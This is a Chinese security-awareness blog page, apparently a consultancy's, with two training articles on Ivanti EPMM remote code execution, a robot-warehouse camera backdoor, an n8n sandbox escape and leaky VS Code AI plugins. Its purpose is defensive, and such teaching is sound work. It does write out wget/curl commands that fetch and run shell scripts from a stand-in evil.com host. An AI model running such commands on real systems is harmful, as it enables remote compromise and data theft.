漏洞防护

守护数字时代的安全防线：从漏洞到防御的全员培训动员

admin

“防御不是一座城墙，而是一条不断螺旋上升的阶梯。”—— 传统的安全观往往把防护想象成一座固若金汤的城堡，却忽视了攻击者的持续创新和内部人员的安全素养。今天，我们用两个富有教育意义的真实案例，带大家走进“漏洞”与“防御”之间的拉锯赛，点燃对信息安全的警醒之火；随后，再结合无人化、数字化、机器人化的高速融合趋势，呼吁全体职工主动加入即将开启的信息安全意识培训，共同筑起企业的安全防线。

案例一：Ivanti Endpoint Manager Mobile（EPMM）两大远程代码执行漏洞被“野生利用”

事件概述

2026 年 1 月，全球知名 IT 管理软件供应商 Ivanti 发布安全通报，披露其移动设备管理平台 Endpoint Manager Mobile（EPMM） 中存在两处严重的代码注入漏洞（CVE‑2026‑1281 与 CVE‑2026‑1340）。这两处漏洞均为 未授权的远程代码执行（RCE），攻击者只需构造特定的 HTTP 请求，即可在目标服务器上植入恶意代码，实现任意系统命令的执行。更为严峻的是，Ivanti 在通报中承认已有 极少数客户的系统在漏洞披露前已被攻击者利用，并提供了针对不同版本的 stand‑alone RPM 补丁，而完整的永久修复要等到下一大版本（12.8.0.0）才能交付。

漏洞技术细节

  1. 注入点定位
    • In‑House Application Distribution（内部应用分发） 与 Android File Transfer Configuration（安卓文件传输配置） 两个功能模块在处理 HTTP 请求时，未对 URL 参数进行严格的过滤和转义。攻击者可以在 aftstore/fob/ 或 appstore/fob/ 路径下的参数中注入 Bash 命令或脚本片段。
  2. 攻击链
    • 攻击者首先通过扫描公开的 EPMM 管理接口（默认端口 443），发现目标系统的 /mifs/c/aftstore/fob/... 路径可访问。
    • 接着利用正则过滤漏洞（如 ^(?!127\.0\.0\.1:\d+).*$），发送含有 ;wget http://evil.com/shell.sh -O /tmp/shell.sh;chmod +x /tmp/shell.sh;/tmp/shell.sh 的 GET 请求，触发系统执行。
    • 成功后，攻击者可进一步在服务器上部署 WebShell（如 401.jsp），或直接创建 WAR/JAR 包以获得持久化后门。
  3. 日志隐匿
    • 为避免痕迹，攻击者往往在成功运行后立即清除或覆盖 /var/log/httpd/https‑access_log，并利用日志轮转机制让日志在数小时内被压缩归档，从而导致传统 SIEM 难以捕获。

影响评估

  • CVSS 评分：9.8（近乎致命）
  • 攻击面：跨平台移动设备管理系统，对企业内部的 数千部移动终端、外部合作伙伴设备 以及 后端业务系统（通过 Ivanti Sentry 网关） 均构成潜在威胁。
  • 业务风险：若攻击者成功植入 WebShell，可窃取企业内部的 身份凭证、企业文档、业务数据，甚至借助 Sentry 网关横向渗透至企业核心网络，造成 数据泄露、业务中断甚至品牌声誉崩塌。

防御与响应

  1. 紧急补丁：对受影响的 12.5.x、12.6.x、12.7.x 版本立即部署对应的 RPM_12.x.0.x 补丁；对 12.5.1.0、12.6.1.0 则使用 RPM_12.x.1.x。补丁必须在 安装后立即验证，并且在升级到新版前 重新执行补丁（防止升级后失效）。
  2. 日志审计：使用正则 \/mifs\/c\/(aft|app)store\/fob\/.*?404 捕获异常 404 请求；监控 POST 到 401.jsp 等异常页面的访问。将日志实时转发至企业 SIEM，开启 异常行为分析（UEBA）模块。
  3. 账户与证书：对所有本地管理员账号、LDAP/KDC 绑定账号进行 强密码/多因素认证；撤销并重新颁发 EPMM 部署使用的 公钥证书。
  4. 系统还原：对已确认受损的 EPMM 服务器执行 离线完整备份恢复，并在恢复后重新审计 推送的移动应用、策略、网络配置。

案例启示：即便是“企业内部合法工具”，若缺乏安全审计与及时补丁，同样可能成为攻击者的“敲门砖”。安全防护不应只依赖厂商的安全通报，更要在组织内部建立 漏洞情报共享、快速响应机制。

案例二：机器人仓库的“摄像头后门”——无人化物流系统被远程控制

背景设定

随着 无人化、数字化、机器人化 的快速渗透，越来越多的企业将 自动化立体仓库、无人搬运机器人（AGV）以及 AI 视觉检测系统 投入生产。某大型电商公司在 2025 年底完成全自动化仓库改造，部署了上千台配备 工业相机 与 边缘计算节点 的搬运机器人，用于实时路径规划与库存管理。

事件经过

2026 年 2 月，该公司安全团队在审计网络流量时发现，某些机器人节点频繁向 外部 IP 185.72.13.44 发送 HTTPS 数据包。进一步抓包分析后，发现这些请求中携带 Base64 编码的命令脚本，内容为 curl -o /tmp/rat.sh http://evil.com/rat.sh && bash /tmp/rat.sh。该脚本能够在机器人内部创建一个 反向 Shell，并把系统权限提升至 root。

深入调查后，安全团队定位到 相机固件 中的一个 未授权漏洞（CVE‑2026‑2105），该漏洞来源于相机厂商在 Web UI 中使用的 旧版 JS 库，未对上传的 JSON 配置文件 进行完整校验。攻击者利用该漏洞，在 相机的配置文件 中植入恶意脚本，随后通过 内部 MQTT 消息总线 将脚本分发至所有机器人节点，实现 “一键式全厂感染”。

影响分析

  • 业务中断：被植入后门的机器人在执行恶意指令后，部分搬运臂出现 误操作，导致 货物错放、堆垛失误，直接影响订单履约率。
  • 安全扩散：因机器人节点拥有对 内部网络交换机、网关 的管理权限，攻击者进一步渗透至 企业核心业务系统（ERP、订单系统），窃取 用户信息、交易数据。
  • 合规风险：仓库涉及 个人信息（收货地址、联系方式）以及 支付数据，若泄露将触发 GDPR、网络安全法 的高额罚款。

防御措施

  1. 固件升级：立即对所有工业相机进行 固件补丁，并在补丁发布后 强制执行 OTA 更新。
  2. 网络分段：在机器人与核心业务系统之间构建 Zero‑Trust 区域，使用 微分段 与 强制双向 TLS，防止横向移动。
  3. 行为监测：部署 IoT 行为分析平台，实时监控 MQTT、CoAP 等协议的异常主题订阅和异常负载。
  4. 最小权限原则：对机器人节点的系统权限进行 细粒度 RBAC，取消不必要的 root 访问，限制对核心网络设备的管理权限。
  5. 安全编码：在开发公司内部工具时，采用 安全开发生命周期（SDL），对所有外部输入进行 白名单过滤 与 代码审计。

案例启示：无人化系统的安全并非“无人操作即安全”，而是“无人化带来的攻击面更广、更隐蔽”。 在数字化转型的浪潮中，每一台被联网的设备 都是潜在的攻击入口，必须以 “全链路、全视角” 的思路进行防护。

融合发展新趋势：无人化、数字化、机器人化的安全挑战

1. 无人化—让“人”退场，攻击者却可能“潜入”

无人化技术的核心是 机器代替人执行高危或重复任务，如 无人仓库、无人配送车、无人机巡检。然而，传感器、摄像头、自动驾驶芯片 这些硬件往往采用 通用操作系统（如 Linux），并通过 云平台 与 企业内部系统 进行数据交互。若漏洞未被及时修补，攻击者可通过 后门、默认口令 或 供应链植入 的恶意固件，实现 远程控制，甚至 物理破坏（比如让无人车撞墙）。

2. 数字化—数据成为新资产，亦是新燃料

数字化转型把 业务流程、客户信息、运营数据 全面搬到云端。大数据平台、AI 训练集、BI 报表 已成为企业竞争优势的关键。然而，数据泄露 不仅会导致 合规处罚，还会让 对手获取技术细节，形成 商业间谍行为。从 内部泄密（员工误操作）到 外部渗透（利用 API 漏洞获取数据），数字化环境中的 攻击向量 和 威胁模型 已从传统网络边界转向 数据流向 与 API 安全。

3. 机器人化—智能体的自治与协作

机器人化带来的 协作式机器人（cobot）、工业 AI 使得 生产线 更加灵活。但 机器学习模型 本身也可能成为 攻击目标（如 模型中毒、对抗样本）。机器人系统常依赖 边缘计算，若 边缘节点 被攻破，攻击者可 篡改指令、扰乱调度，导致 生产效率下降，甚至 设施安全事故。

4. 融合的复合风险

无人化、数字化、机器人化在实际场景中往往 交叉叠加：
– 无人仓库 中的 机器人 通过 数字平台 与 供应链系统 对接，形成 闭环。
– 数字化的订单系统 为 无人配送车 提供路径指引，一旦订单系统被攻击，配送车可被 误导，导致 物流失控。
– 机器人 的 边缘 AI 与 云端大数据 同步，若 云端数据 被篡改，机器人决策将随之受到影响。

这些复合风险的本质是 攻击者通过一环突破，连锁影响多环，因此，安全防护必须实现全链路可视、统一治理。

信息安全意识培训：全员共筑安全防线的关键一步

为什么每位职工都是“安全的第一道防线”

  1. 人是最薄弱的环节——无论技术防御多么严密，社交工程（钓鱼、短信诱导、深度伪造）仍能直接突破系统。职工如果缺乏基本的 安全意识，极易在不经意间泄露 凭证、内部信息。
  2. 安全文化是组织韧性的源泉——当安全理念深入每个人的日常工作，企业才能在面对 突发安全事件 时实现快速响应、协同处置。
  3. 合规要求日益严格——《网络安全法》《个人信息保护法》以及 ISO 27001 等国际标准，都明确要求 全员安全培训 并进行 培训效果评估，否则将面临 监管处罚。

培训的目标与核心内容

目标 关键能力 具体模块
提升危害感知 能辨别常见攻击手段（钓鱼邮件、恶意链接、社会工程） 案例解析、模拟钓鱼演练
掌握基本防护技能 正确使用密码管理器、双因素认证、终端加密 实操演练、工具使用指南
理解系统安全策略 认识企业资产分级、访问控制、日志审计要求 安全政策解读、业务系统安全手册
培养应急响应意识 在发现异常行为时的报告流程、初步处置步骤 案例复盘、模拟事件响应
强化合规意识 熟悉个人信息保护、数据分类、合规审计要求 法规要点、合规检查清单

培训形式与创新手段

  1. 沉浸式模拟：通过 VR/AR 场景再现 钓鱼邮件、木马植入、内部泄密 等情景，让学员在“身临其境”中体会风险。
  2. 游戏化学习：设置 安全积分排行榜、闯关任务（如“找出邮件中的可疑链接”），将枯燥的安全知识转化为 乐趣 与 竞争动力。
  3. 实时威胁情报推送：利用 SIEM 数据，选取近期内部或行业热点事件，形成 每周一次的安全微课堂，保持学习的 时效性。
  4. 跨部门协作演练：组织 IT、研发、运营、法务 等部门共同参与 红蓝对抗，让安全不仅是 IT 的事，而是 全公司共同的任务。

培训效果评估

  • 前后测：在培训前后分别进行安全知识测验，量化提升幅度。
  • 行为监测：通过 邮箱安全网关、端点检测平台 监控钓鱼点击率、异常行为，评估培训对真实行为的影响。
  • 反馈闭环：收集学员对培训内容、方式、难度的意见，持续优化课程结构。

参与方式与时间安排

日期 时间 内容 主讲人
2026‑03‑15 09:00‑10:30 开篇案例深度剖析：Ivanti EPMM 漏洞 信息安全部门负责人
2026‑03‑15 10:45‑12:00 无人化系统安全要点与实战演练 机器人系统专家
2026‑03‑16 14:00‑15:30 密码管理、双因素认证实操 IT运维主管
2026‑03‑16 15:45‑17:00 合规要求与内部审计流程 合规部经理
2026‑03‑17 09:00‑11:00 蓝红对抗实战：从发现到响应 红蓝团队全体成员
2026‑03‑17 11:15‑12:00 结束仪式与奖励颁发 公司高层

报名方式：请登录公司内部学习平台，搜索“信息安全意识培训2026”，填写报名表；或发送邮件至 [email protected]（主题请标注“信息安全培训报名”）。报名成功后，系统将自动推送线上课件、练习材料及预热视频。

结语：让安全成为每一天的自觉

在 无人化、数字化、机器人化 快速交织的时代，技术的锋芒 与 安全的底线 同时拔剑相向。正如《孙子兵法》所言：“兵贵神速，治乱在先”。技术创新的速度 必须与 安全防护的速度 同步——只有全员参与、主动学习，才能在危机来临之际做到 “先知先觉、未雨绸缪”。

让我们以 案例中的血的教训 为警钟，以 即将开启的培训 为契机，把 安全意识 融入日常工作、融入每一次点击、每一次配置信任、每一次协作。只要每位职工都能在自己的岗位上做到 “不点未知链接”“不随意打开附件”“不泄露凭证信息”，我们就能把 潜在的攻击面 大幅压缩，让 企业的数字化转型 在稳固的安全基石上稳步前行。

星星之火，可以燎原。今天点燃的安全意识之火，终将汇聚成保卫企业信息资产的 浩荡长城。请立即行动，加入培训，让我们共同守护数字时代的美好未来！

通过提升员工的安全意识和技能，昆明亭长朗然科技有限公司可以帮助您降低安全事件的发生率，减少经济损失和声誉损害。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

守护数字化浪潮中的企业安全——从漏洞教训到全员防护

admin

一、头脑风暴：想象两个“信息安全惊魂”案例

案例一：n8n 自动化平台的“沙箱绕过”
2026 年 1 月，全球知名的工作流程自动化平台 n8n 被曝出两处极其危急的安全漏洞：CVE‑2026‑1470 与 CVE‑2026‑0863。攻击者只要通过身份验证，就能利用 JavaScript with 语句配合经过改造的 constructor 关键字，突破平台内置的抽象语法树（AST）沙箱防护，在核心节点执行任意代码，直接接管整个 n8n 实例。该漏洞的 CVSS 基础评分高达 9.9（接近满分 10 分），被业界认定为“重大”级别。

随后，另一处利用 Python 3.10 引入的 AttributeError 新属性的漏洞（CVE‑2026‑0863）同样暴露了沙箱逃逸的风险，攻击者可通过字符串格式化与异常处理技巧绕过 AST 检查，实现远程代码执行（RCE），CVSS 评分为 8.5。两漏洞在短短数日内被公开披露，导致全球数千家使用 n8n 的企业瞬间面临业务中断、数据泄露乃至供应链被植入后门的沉重危机。

案例二：VS Code AI 插件的“隐形数据泄漏”
同一月份，业界两款炙手可热的 VS Code AI 编程助理插件被安全研究员发现能够在后台未经用户许可将本地代码片段、项目结构甚至 API 密钥同步至第三方服务器。统计数据显示，这两款插件的累计安装量已经突破 150 万。更令人胆寒的是，泄漏的数据中包含企业内部的业务逻辑实现、未加密的数据库凭证以及对外部接口的调用方式，足以让攻击者在短时间内绘制出完整的攻击路径图。虽然这些插件在功能上极大提升了开发效率，却在安全审计环节出现了“监管盲区”，直接导致数十家企业在后续的渗透测试中被检测出“已知泄露”风险。

这两个案例看似风马牛不相及，却有一个共同点：在智能化、数智化的浪潮中，技术便利往往伴随着安全隐患的“暗流”。如果我们仅仅把安全的责任推给产品研发或供应商，而忽视了每一位职工的安全意识与操作习惯，那么整个企业的防线将会出现致命的裂缝。

二、深入剖析：漏洞背后的技术细节与防御缺口

1. n8n 沙箱机制的设计初衷 vs. 实际破绽

n8n 之所以受到青睐，核心在于其 “低代码” 与 “高度可扩展” 的特性。平台提供了基于 AST（抽象语法树） 的表达式评估引擎，理论上可以在不执行实际代码的前提下完成业务逻辑的解析与校验。

  • AST 的防御链：
    1. 语法过滤：对危险语法（例如 eval、Function 构造器）进行白名单过滤。
    2. 属性阻断：阻止访问全局对象（globalThis、process、window）的属性。
    3. 运行时沙箱：在受限的 Node.js 虚拟机（VM）中执行，限制 require、fs 等系统调用。

然而，在 CVE‑2026‑1470 中，攻击者巧妙利用了 JavaScript 中 with 语句的作用域链特性，配合伪装成合法标识符的 constructor，成功将代码注入到原本受限的执行路径中。with 本身在严格模式下已被废弃，但平台的 AST 过滤对其识别不充分，导致了攻击面。

CVE‑2026‑0863 则利用了 Python 3.10 新增的 AttributeError 对象属性，结合 字符串格式化 与 异常捕获 的特性，绕过了对 __import__、os.system 等危险函数的拦截。攻击者只需构造特定的异常信息，即可让沙箱执行任意系统命令。

根本原因总结：
– 审计范围狭窄：仅针对常见的危险关键字和函数进行检测，忽视了语言本身的边缘特性。
– 版本迭代盲点：新语言特性（如 Python 3.10 的异常属性）未及时纳入防护规则库。
– 缺乏多层防御：单一的 AST 过滤层不足以抵御跨语言、跨特性的复合攻击。

2. VS Code AI 插件的隐蔽信息流

这两款 AI 插件的核心卖点是 “实时代码补全” 与 “一键生成文档”，其背后运行的是云端的大模型服务。为了实现“即时”体验，插件需要将本地代码片段 上报 至云端进行向量化处理。

  • 数据流向：本地编辑器 → 代理进程（Node/Electron） → HTTP/HTTPS 请求 → 云端模型 API → 返回补全结果。
  • 泄漏根源：插件在默认配置下 未加密（或使用弱加密）上传代码；相关的 自定义请求头 和 身份令牌（API Key）被写入本地的 settings.json，而这个文件往往没有被列入公司内部的敏感文件清单。

危害：
– 攻击者通过拦截网络流量（Man‑in‑the‑Middle）或直接访问插件的后端 API，就能获取企业内部的业务代码。
– 已泄露的 API Key 进一步可以被用于 滥用云资源，产生不可预计的费用，甚至被用于 恶意算力（如加密货币挖矿）。

防御缺失：
– 缺乏插件安全审计：公司在允许开发者自行安装插件时，没有统一的安全检测流程。
– 未实行最小权限原则：插件拥有的网络访问权限、文件系统读写权限远超业务需求。

三、从漏洞到防御：构建全员参与的安全防线

1. 认识“人—技术—环境”三位一体的安全模型

在当下 具身智能化、智能化、数智化 的融合发展环境里，企业的 IT 基础设施已经不再是“服务器‑网络‑终端”三层结构，而是 感知层、计算层、决策层 的全栈生态。

  • 感知层：IoT 设备、边缘传感器、AR/VR 交互终端。
  • 计算层：云原生微服务、容器化平台、AI 大模型推理服务。
  • 决策层：业务流程自动化（如 n8n）、数据治理平台、智能化运营仪表盘。

在这三个层次上，“人” 既是 “安全需求的提出者”，也是 “安全策略的执行者”，更是 “潜在的风险点”。只有让每一位职工都成为安全防护链的“活节点”，才能真正实现 “安全嵌入业务、业务驱动安全”** 的目标。

2. 信息安全意识的“三步走”路线图

阶段 目标 关键行动 典型场景
入门 了解基本的安全概念（机密性、完整性、可用性） 观看《信息安全小百科》微课、完成安全常识测验 识别钓鱼邮件、使用强密码
进阶 掌握业务系统的安全使用规范 学习 n8n、VS Code 插件的安全配置；模拟沙箱逃逸演练 正确配置 “代码审计”插件、禁用危险语法
精通 能主动发现并报告安全隐患，参与安全治理 参加红蓝对抗赛、CTF 挑战；撰写安全改进建议 主动报告未加密的 API Key、提出插件白名单策略

注意：每一步的学习都应配合 “实战实验室”（如搭建本地 n8n 环境、模拟插件流量抓包），让抽象的概念变为可触摸的经验。

3. 具体防御措施建议（结合案例剖析）

  1. 对工作流程自动化平台的安全加固

    • 开启严格模式：在使用 JavaScript 表达式时，强制启用 "use strict"，屏蔽 with、eval 等危险特性。
    • 限制节点权限：仅对可信节点开放 process、fs 等系统调用权限，其他节点使用 最小化容器（如 node:alpine）运行。
    • 定期审计 AST 规则库：每次语言版本升级后，重新评估过滤规则，加入新出现的语言特性。
    • 多因素身份验证（MFA）：即使攻击者已通过单因素登录，也需要额外的验证手段才能执行关键节点。
  2. 对开发工具插件的安全管控
    • 插件白名单制度：公司内部仅允许经过安全审计的插件进入开发环境。
    • 网络流量加密：所有插件与云端的通信必须走 TLS 1.3，并使用 企业内部 CA 进行双向认证。
    • 隐私最小化原则：插件只能访问所需的工作区目录，禁止全局文件系统访问。
    • 审计日志：对插件的 API 调用、文件读写行为进行集中日志记录，使用 SIEM 系统实时检测异常。
  3. 整体安全治理的组织保障
    • 安全治理委员会：由 IT、研发、法务、业务部门共同成立，负责制定安全基线、评估风险。
    • 安全即代码（Security‑as‑Code）：将安全策略写入 IaC（如 Terraform、Helm）模板，确保每次部署自动校验。
    • 持续渗透测试：每半年进行一次全链路渗透测试，覆盖感知层、计算层、决策层。
    • 安全奖励机制：对主动报告漏洞的员工给予 Bug‑Bounty 或内部表彰，激励全员参与安全建设。

四、号召全员行动：即将开启的信息安全意识培训

各位同事，信息安全不是某个部门的“专属任务”，它是每一个 键盘敲击声、每一次 鼠标点击 背后所承载的 企业命脉。在 AI 大模型 与 数智化平台 蓬勃发展的今天，攻击者的武器库也在同步升级。

1. 培训的核心价值

  • 提升“安全思维”：让大家在设计工作流、编写代码、使用插件的每一步，都自然考虑到安全边界。
  • 降低“人为失误”：通过真实案例复盘（如 n8n 沙箱绕过、VS Code 插件泄漏），帮助大家在实际操作中形成“安全第一”的本能。
  • 增强 “快速响应” 能力：培训中将演练事故应急流程，确保一旦发现异常，能够在 15 分钟 内完成初步处置并上报。

2. 培训安排（示意）

日期 时间 主题 主讲人 形式
2026‑02‑15 09:00‑12:00 从漏洞到防御——n8n 实战演练 安全研发经理 线上直播 + 实操实验室
2026‑02‑16 14:00‑17:00 AI 插件安全审计与最佳实践 信息安全顾问 现场 workshop
2026‑02‑20 10:00‑12:00 全员渗透测试入门 红队专家 案例驱动、CTF 赛制
2026‑02‑22 13:30‑15:30 安全治理闭环与持续改进 首席信息安全官（CISO） 案例分享、圆桌讨论

温馨提示：每场培训结束后都有 即时测评，累计测评分数达到 80 分以上 的同事，将获得公司颁发的 “信息安全护航者” 电子徽章，并计入年度绩效。

3. 参与方式

  1. 登录公司内部 Learning Hub（学习中心），在 “安全培训” 栏目点击 “报名”。
  2. 完成 “安全基准自评问卷”（约 10 分钟），系统将根据你的岗位自动推荐适配的课程。
  3. 培训期间请保持 网络畅通，并提前准备好 本地实验环境（如安装 Docker、Node.js）。

4. 让安全“嵌入”业务的终极目标

  • 构建“安全‑业务‑创新”三位一体的生态：在每一次业务决策、平台选型、技术栈升级时，安全思考都能得到系统化的支撑。
  • 实现“安全即服务（Sec‑as‑a‑Service）”：通过平台化的安全工具链（如统一的 AST 检测、插件审计平台），让安全防护成为每个业务的底层服务。
  • 培养“安全文化”：让每位员工都能像使用常规办公软件一样自然地使用安全工具，让安全成为企业的 “软实力”，而非“硬成本”。

正如《礼记·中庸》所言：“格物致知，诚意正心”。在信息时代的格局里，知的深度决定了格的高度，而安全正是我们格物致知的必经之路。让我们携手，以“防患于未然”的态度，迎接数智化浪潮的每一次挑战。

让安全成为每一次点击背后的守护神，让我们在智能化的路上，既敢想，也敢守！

信息安全意识培训 正式开启，期待与你在学习中相遇，共同绘制企业安全的星辰大海。

昆明亭长朗然科技有限公司提供一站式信息安全咨询服务，团队经验丰富、专业素养高。我们为企业定制化的方案能够有效减轻风险并增强内部防御能力。希望与我们合作的客户可以随时来电或发邮件。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898